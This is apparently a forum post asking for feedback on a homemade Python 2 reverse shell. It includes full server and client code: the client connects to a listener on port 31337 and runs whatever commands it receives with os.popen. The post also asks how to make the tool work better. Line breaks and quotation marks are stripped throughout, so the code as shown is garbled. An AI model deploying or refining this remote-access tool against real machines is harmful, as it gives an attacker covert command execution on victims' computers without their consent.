I've recently made a reverse-shell which allows you remote shell access to other computers.  It's written in Python 2 and it is cross-platform. Basically, it get's user input for a command and sends it to the client with sockets. The client then runs it with os.system. Here's the code for the server (urchin.py):#!/usr/bin/pythonimport socket, os, sys, platformif 'Windows' in platform.system():    os.system('cls')    print   |     |  | ,--` ,--` |  | --- ,--`    print \ * /   |  | |  | |    |  |  |  |  |    print -*+*-   |  | |--, |    |--|  |  |  |    print / * \   |  | | \  |    |  |  |  |  |    print   |     `__, |  \ `__, |  | --- |  |    print     print Developer : Keegan Kuhn (keeganjk)    print Version   : v1.1.1 (Pluteus)else:    os.system(clear)      print   |     |  | ,--` ,--` |  | --- ,--`    print \ * /   |  | |  | |    |  |  |  |  |    print -*+*-   |  | |--, |    |--|  |  |  |    print / * \   |  | | \  |    |  |  |  |  |    print   |     `__, |  \ `__, |  | --- |  |    print     print Developer : Keegan Kuhn (\033[1;31mkeeganjk\033[0;0m)    print Version   : v1.1.1 (\033[0;32mPluteus\033[0;0m)port = 31337s = socket.socket()s.bind(('', port))print print [*] Waiting for connection ...s.listen(1)while True:    c, addr = s.accept()    print [+] Accepted connection from, addr, !        print     while True:        cmd = raw_input($ )        if cmd == python:            while cmd != exit():                cmd = raw_input(>>> )                if cmd == exit:                    print Use exit() to exit                cmd = python -c ' + cmd + '                c.send(cmd)                print c.recv(1024)        elif cmd == bash:            while True:                cmd = raw_input(bash$ )                cmd = bash -c ' + cmd + '                c.send(cmd)                print c.recv(1024)        elif cmd == quit or cmd == exit:            c.send('quit')            s.close()                sys.exit(1)        else:                c.send(cmd)            print c.recv(1024)And here's the code for client.py:#!/usr/bin/pythonimport socket, os, syss = socket.socket()host = '127.0.0.1'port = 31337s.connect((host, port))while True:    cmd = s.recv(1024)    if cmd[:2] == cd:        os.chdir(str(cmd[3:]))        o =          s.send(o)    elif cmd == quit:        s.close()        sys.exit(1)    else:        o = os.popen(cmd).read()        s.send(o)Any suggestions? How can I make this work better?
Reverse shell allows connection between computers
python;python 2.7;security;shell